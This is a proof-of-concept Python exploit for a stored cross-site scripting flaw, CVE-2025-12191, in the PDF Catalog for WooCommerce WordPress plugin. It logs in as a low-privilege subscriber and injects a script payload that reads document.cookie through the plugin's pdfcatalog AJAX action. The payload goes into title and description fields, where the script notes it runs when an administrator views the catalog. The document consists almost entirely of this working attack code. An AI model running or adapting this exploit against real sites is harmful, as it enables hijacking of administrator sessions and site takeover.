CVE-2025-12191

# CVE-2025-12191 PoC - Stored XSS via pdfcatalog AJAX action # Affected: PDF Catalog for WooCommerce <= 1.1.18 import requests import sys target_url = "http://target-wordpress-site.com" # Login to get valid nonce and cookies login_url = f"{target_url}/wp-login.php" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" def exploit_cve_2025_12191(): """Exploit stored XSS in pdfcatalog AJAX action""" # Step 1: Authenticate with subscriber-level account session = requests.Session() login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via pdfcatalog AJAX action exploit_data = { 'action': 'pdfcatalog', 'pdf_title': f'{xss_payload}', 'pdf_description': f'{xss_payload}', } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when admin views the catalog page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_cve_2025_12191()

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